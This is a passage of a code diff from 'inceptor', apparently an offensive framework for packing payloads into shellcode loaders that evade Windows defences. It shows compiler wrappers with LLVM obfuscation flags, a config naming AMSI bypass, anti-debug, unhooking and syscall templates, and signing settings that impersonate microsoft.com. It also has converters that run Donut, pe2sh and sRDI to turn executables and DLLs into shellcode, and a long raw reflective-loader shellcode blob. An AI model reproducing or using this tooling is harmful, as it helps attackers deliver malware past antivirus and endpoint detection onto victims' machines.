"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"NDEBUG\"": None,
"/D \"_CONSOLE\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
f'-o "{outfile}"': None
}
self.args = {**default_cl_args, **self.llvm_args()}
def add_include_directory(self, directory):
self.args[f'/I "{directory}"'] = None
def set_libraries(self, libs: list):
self.set_linker_options(libraries=libs)
def set_linker_options(self, outfile=None, libraries: list = None):
self.aargs = f'/link /DYNAMICBASE {self.format_libraries(libraries=libraries)}'
if outfile:
self.aargs += f' /OUT "{outfile}"'
def llvm_args(self):
return {
"/D __CUDACC__": None,
"/D _ALLOW_COMPILER_AND_STL_VERSION_MISMATCH": None,
"-mllvm -bcf": None,
"-mllvm -bcf_prob=73": None,
"-mllvm -bcf_loop=1": None,
"-mllvm -sub": None,
"-mllvm -sub_loop=5": None,
"-mllvm -fla": None,
"-mllvm -split_num=5": None,
f"-mllvm -aesSeed={secrets.token_hex(16)}": None,
"-w": None
}

View File

@ -0,0 +1,31 @@
import os
import re
import subprocess
from compilers.Compiler import Compiler
from config.Config import Config
class MasmCompiler(Compiler):
def __init__(self, args=None, aargs=None, arch="x64"):
# self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
# self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
def default_args(self, outfile):
self.args = {
"/c": None,
"/nologo": None,
"/Zi": None,
f'/Fo"{outfile}"': None,
"/W3": None,
"/errorReport": "prompt",
"/Ta": None
}
def add_include_directory(self, directory):
self.args[f"/I\"{directory}\""] = None
def set_libraries(self, libs: list):
pass

View File

1
inceptor/config/.gitignore vendored Normal file
View File

@ -0,0 +1 @@
config.ini

196
inceptor/config/Config.py Normal file
View File

@ -0,0 +1,196 @@
import configparser
import os
import traceback
from pathlib import Path
from utils.utils import get_project_root
class Config(object):
def __init__(self, auto_load: bool = True, create_env: bool = True):
self.config = configparser.ConfigParser(allow_no_value=True, interpolation=configparser.ExtendedInterpolation())
self.file = os.path.join(get_project_root(), "config", "config.ini")
if auto_load:
self.load_config()
if create_env:
self.rebase()
def load_config(self, filename=None):
if filename:
self.file = Path(filename).absolute()
try:
self.config.read(self.file)
except FileNotFoundError:
print("The file specified does not exists")
self.write_default()
except configparser.ParsingError:
print("Error encountered while parsing, check configuration file syntax")
except Exception as e:
print("Unhandled exception, contact support")
print(f"Exception : {e}")
def save_config(self):
with open(self.file, 'w') as configfile:
self.config.write(configfile)
def rebase(self):
no_rebase = ["", "csharp", "cpp", "powershell", "nodebug"]
for key, directory in self.config["DIRECTORIES"].items():
if directory and directory not in no_rebase:
p = Path(os.path.join(get_project_root(), directory))
p.mkdir(parents=True, exist_ok=True)
return self
def get_config(self):
return self.config
def get_section(self, s):
return self.config[s]
def get_boolean(self, section, key):
try:
debug = int(self.get(section, key))
return debug == 1
except KeyError:
return False
except ValueError:
return False
except TypeError:
return False
except Exception as e:
raise e
def get_int(self, section, key):
try:
return int(self.get(section, key))
except KeyError:
return False
except ValueError:
return False
except TypeError:
return False
except Exception as e:
raise e
def get_path(self, section, key):
try:
_path = Path(os.path.join(get_project_root(), self.get(section, key))).absolute()
return _path
except KeyError:
return None
except ValueError:
return None
except TypeError:
return None
except Exception as e:
raise e
def get_list(self, section, key):
try:
return [x.strip().encode() for x in self.get(section, key).split(",")]
except KeyError:
return None
except ValueError:
return None
except TypeError:
return None
except Exception as e:
raise e
def get(self, s, v):
try:
return self.config[s][v]
except KeyError:
return None
def set(self, s, v, new_value):
self.config[s][v] = new_value
def test(self):
print(self.get("PLACEHOLDERS", "SHELLCODE"))
def write_default(self):
with open(self.file, "w") as default:
default.write(r"""[COMPILERS]
vcvarsall =
clx86_compiler =
clx64_compiler =
masmx86_compiler =
masmx64_compiler =
cscx86_compiler =
cscx64_compiler =
clangx86_compiler =
clangx64_compiler =
llvmx86_compiler =
llvmx64_compiler =
msbuildx86_compiler =
msbuildx64_compiler =
libx64_compiler =
libx86_compiler =
[SIGNERS]
signtool_x86 =
signtool_x64 =
[DUMPERS]
dumpbin_x86 =
dumpbin_x64 =
[DIRECTORIES]
artifacts = artifacts
templates = templates\${MISC:release}
bypass = ${TEMPLATES}\amsi
antidebug = nodebug
powershell = ${TEMPLATES}\powershell
writer = temp
certificates = certs
native = ${TEMPLATES}\cpp
dotnet = ${TEMPLATES}\csharp
test = ${TEMPLATES}\testers
dll = ${TEMPLATES}\cpp\code_execution
obfuscators = obfuscators
syscalls = syscalls
syscalls_x86 = syscalls\syswhispersv2_x86\x86
encoders = encoders\implementations\${MISC:release}
libs = libs\public
modules = engine\modules
[OBFUSCATORS]
powershell = ${DIRECTORIES:obfuscators}\powershell
dotnet = ${DIRECTORIES:obfuscators}\dotnet
native = ${DIRECTORIES:obfuscators}\native
[SIGNING]
domain = www.microsoft.com
[PLACEHOLDERS]
shellcode = ####SHELLCODE####
code = //####CODE####
call = //####CALL####
using = //####USING####
define = //####DEFINE####
bypass = //####BYPASS####
antidebug = //####ANTIDEBUG####
unhook = //####UNHOOK####
args = //####ARGS####
delay = //####DELAY####
find_process = //####FIND_PROCESS####
shellcode_variable = encoded
[SYSCALLS]
syswhispers = 2
[MISC]
logo = 3
bypass_mode = 100
release = public
[DEBUG]
compilers = 0
syswhispers = 0
""")
if __name__ == "__main__":
c = Config()
c.test()

View File

View File

@ -0,0 +1,54 @@
import re
from config.Config import Config
from converters.Transformer import Transformer
from utils.console import Console
from utils.utils import *
class Donut(Transformer):
def __init__(self):
self.donut = str(Config().get_path("DIRECTORIES", "libs").joinpath("donut.exe"))
self.args = "-e3 -a2 -b1 "
super().__init__()
self.filetype = "exe"
self.output_path = Config().get_path("DIRECTORIES", "writer")
self.output_file_ext = "bin"
self.debug = Config().get_boolean("DEBUG", "LOADERS")
def transform(self, target):
if not os.path.isfile(target):
print(f"[-] File not found: {target}")
sys.exit(1)
filename = os.path.basename(os.path.splitext(target)[0])
target = Path(target).absolute()
converted = str(self.output_path.joinpath(f"{filename}.{self.output_file_ext}"))
try:
cmd = f'"{self.donut}" {self.args} -f1 "{target}" -o "{converted}"'
if self.debug:
Console.auto_line(f" [>] Donut cmdline: {cmd}")
output = subprocess.check_output(cmd)
except subprocess.CalledProcessError as e:
output = e.output
Console.fail_line(output.decode())
mark = re.compile(r'\s*Shellcode\s*:')
if not re.search(mark, output.decode()):
Console.auto_line(f"[-] Failed to convert {target}")
sys.exit(1)
if not os.path.isfile(converted):
Console.auto_line(f"[-] Failed to locate converted file: {converted}")
sys.exit(1)
with open(converted, "rb") as donut:
return donut.read()
def add_parameters(self, params):
if params:
self.args += f'-p "{params}"'
def set_architecture(self, arch="x64", tool_arch=None):
if arch == "x86" or tool_arch == "x86":
self.args += "-a1 "
if arch == "x64" or tool_arch == "x64":
self.args += "-a2 "
elif arch == "anycpu" and not tool_arch:
self.args += "-a3 "

View File

@ -0,0 +1,17 @@
import base64
import os
import re
import subprocess
import sys
from converters.Transformer import Transformer
class Loader(Transformer):
def __init__(self):
super().__init__()
self.filetype = "raw"
def transform(self, target):
with open(target, 'rb') as content:
return content.read()

View File

@ -0,0 +1,41 @@
import base64
import os
import re
import subprocess
import sys
from config.Config import Config
from converters.Transformer import Transformer
from utils.console import Console
from utils.utils import *
class Pe2sh(Transformer):
def __init__(self):
self.pe2sh = str(Config().get_path("DIRECTORIES", "libs").joinpath("pe2sh.exe"))
self.output_path = Config().get_path("DIRECTORIES", "writer")
super().__init__()
self.filetype = "exe"
def transform(self, target):
if not os.path.isfile(target):
print(f"[-] File not found: {target}")
sys.exit(1)
target_file_name, target_file_ext = os.path.splitext(target)
outfile = str(self.output_path.joinpath(os.path.basename(target_file_name)))
try:
output = subprocess.check_output(f'"{self.pe2sh}" "{target}" "{outfile}.shc{target_file_ext}"')
except subprocess.CalledProcessError as e:
output = e.output
Console.fail_line(output.decode())
if re.search(rb"\[WARNING\]", output):
Console.warn_line(" " + re.search(rb"\[WARNING\].*", output)[0].decode().strip())
Console.warn_line(f" [WARNING] {target.split(chr(92))[-1]} may not work in .NET")
if not re.search(rb"\[\+\]\sSaved\sas\:", output):
Console.auto_line(f"[-] Failed to convert {target}")
sys.exit(1)
converted = f"{target_file_name}.shc{target_file_ext}"
if not os.path.isfile(converted):
Console.auto_line(f"[-] Failed to locate converted file: {converted}")
sys.exit(1)
return bin2hex4pe2sh(converted)

View File

@ -0,0 +1,20 @@
import base64
import os
import re
import subprocess
import sys
from abc import ABC, abstractmethod
class Transformer(ABC):
def __init__(self):
super(Transformer, self).__init__()
self.filetype = None
@abstractmethod
def transform(self, target):
pass
def set_architecture(self, arch="x64"):
pass

View File

@ -0,0 +1,53 @@
import os
from converters import Transformer
from converters.Donut import Donut
from converters.Loader import Loader
from converters.Pe2Shellcode import Pe2sh
from converters.sRDI import sRDI
from utils.utils import isDotNet
class TransformerFactory:
@staticmethod
def allowed(file) -> list:
filename, ext = os.path.splitext(file)
allowed_list = []
if ext == ".exe":
if isDotNet(file):
allowed_list = [Loader, Donut]
else:
allowed_list = [Loader, Pe2sh, Donut]
elif ext == ".dll":
allowed_list = [sRDI]
if ext == ".raw":
allowed_list = [Loader]
return [c().__class__.__name__.lower() for c in allowed_list]
@staticmethod
def from_file(file) -> Transformer:
filename, ext = os.path.splitext(file)
if ext == ".exe":
if isDotNet(file):
return Donut()
else:
return Pe2sh()
elif ext == ".dll":
return sRDI()
if ext == ".raw":
return Loader()
@staticmethod
def from_name(name) -> Transformer:
if name == "loader":
clazz = Loader
elif name == "srdi":
clazz = sRDI
elif name == "pe2sh":
clazz = Pe2sh
elif name == "donut":
clazz = Donut
else:
raise NotImplementedError(f"No transformer for class {name}")
return clazz()

View File

496
inceptor/converters/sRDI.py Normal file
View File

@ -0,0 +1,496 @@
import base64
import struct
from converters.Transformer import Transformer
class sRDI(Transformer):
MACHINE_IA64 = 512
MACHINE_AMD64 = 34404
def __init__(self):
super().__init__()
self.flags = 0 | 0x1 | 0x4 | 30 << 16
self.function = "ExecutePayload"
self.args = b"test"
self.filetype = "dll"
@staticmethod
def is64BitDLL(_bytes):
header_offset = struct.unpack("<L", _bytes[60:64])[0]
machine = struct.unpack("<H", _bytes[header_offset + 4:header_offset + 4 + 2])[0]
if machine == sRDI.MACHINE_IA64 or machine == sRDI.MACHINE_AMD64:
return True
return False
@staticmethod
def ror(val, r_bits, max_bits):
return ((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
@staticmethod
def HashFunctionName(name, module=None):
function = name.encode() + b'\x00'
if module:
module = module.upper().encode('UTF-16LE') + b'\x00\x00'
function_hash = 0
for b in function:
function_hash = sRDI.ror(function_hash, 13, 32)
function_hash += b
module_hash = 0
for b in module:
module_hash = sRDI.ror(module_hash, 13, 32)
module_hash += b
function_hash += module_hash
if function_hash > 0xFFFFFFFF:
function_hash -= 0x100000000
else:
function_hash = 0
for b in function:
function_hash = sRDI.ror(function_hash, 13, 32)
function_hash += b
return function_hash
@staticmethod
def ConvertToShellcode(dll_bytes, function_hash=0x10, user_data=b'None', flags=0):
# MARKER:S
rdi_shellcode32 = b'\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00' \
b'\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00' \
b'\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A' \
b'\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89' \
b'\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00' \
b'\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00' \
b'\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2' \
b'\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94' \
b'\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6' \
b'\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7' \
b'\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24' \
b'\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44' \
b'\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C' \
b'\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E' \
b'\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88' \
b'\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00' \
b'\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C' \
b'\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00' \
b'\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59' \
b'\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24' \
b'\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00' \
b'\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24' \
b'\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C' \
b'\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00' \
b'\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00' \
b'\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24' \
b'\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00' \
b'\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00' \
b'\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00' \
b'\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24' \
b'\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55' \
b'\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24' \
b'\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58' \
b'\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4' \
b'\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44' \
b'\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8' \
b'\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24' \
b'\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24' \
b'\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66' \
b'\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D' \
b'\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14' \
b'\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E' \
b'\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84' \
b'\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF' \
b'\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06' \
b'\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00' \
b'\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B' \
b'\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00' \
b'\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85' \
b'\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03' \
b'\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3' \
b'\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01' \
b'\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2' \
b'\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24' \
b'\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54' \
b'\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89' \
b'\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88' \
b'\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3' \
b'\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24' \
b'\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5' \
b'\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31' \
b'\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B' \
b'\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24' \
b'\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5' \
b'\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56' \
b'\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75' \
b'\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C' \
b'\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8' \
b'\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00' \
b'\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF' \
b'\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F' \
b'\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC' \
b'\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00' \
b'\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D' \
b'\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1' \
b'\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00' \
b'\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48' \
b'\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE' \
b'\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F' \
b'\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D' \
b'\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59' \
b'\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24' \
b'\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01' \
b'\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28' \
b'\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00' \
b'\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50' \
b'\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB' \
b'\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB' \
b'\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80' \
b'\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A' \
b'\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E' \
b'\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33' \
b'\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94' \
b'\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF' \
b'\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00' \
b'\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B' \
b'\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08' \
b'\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09' \
b'\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02' \
b'\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44' \
b'\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04' \
b'\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10' \
b'\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83' \
b'\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83' \
b'\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA' \
b'\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A' \
b'\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75' \
b'\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85' \
b'\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00' \
b'\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24' \
b'\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x20\x85\xC9\x6A\x40\x5A\x0F\x48' \
b'\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89' \
b'\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00' \
b'\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF' \
b'\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74' \
b'\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00' \
b'\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50' \
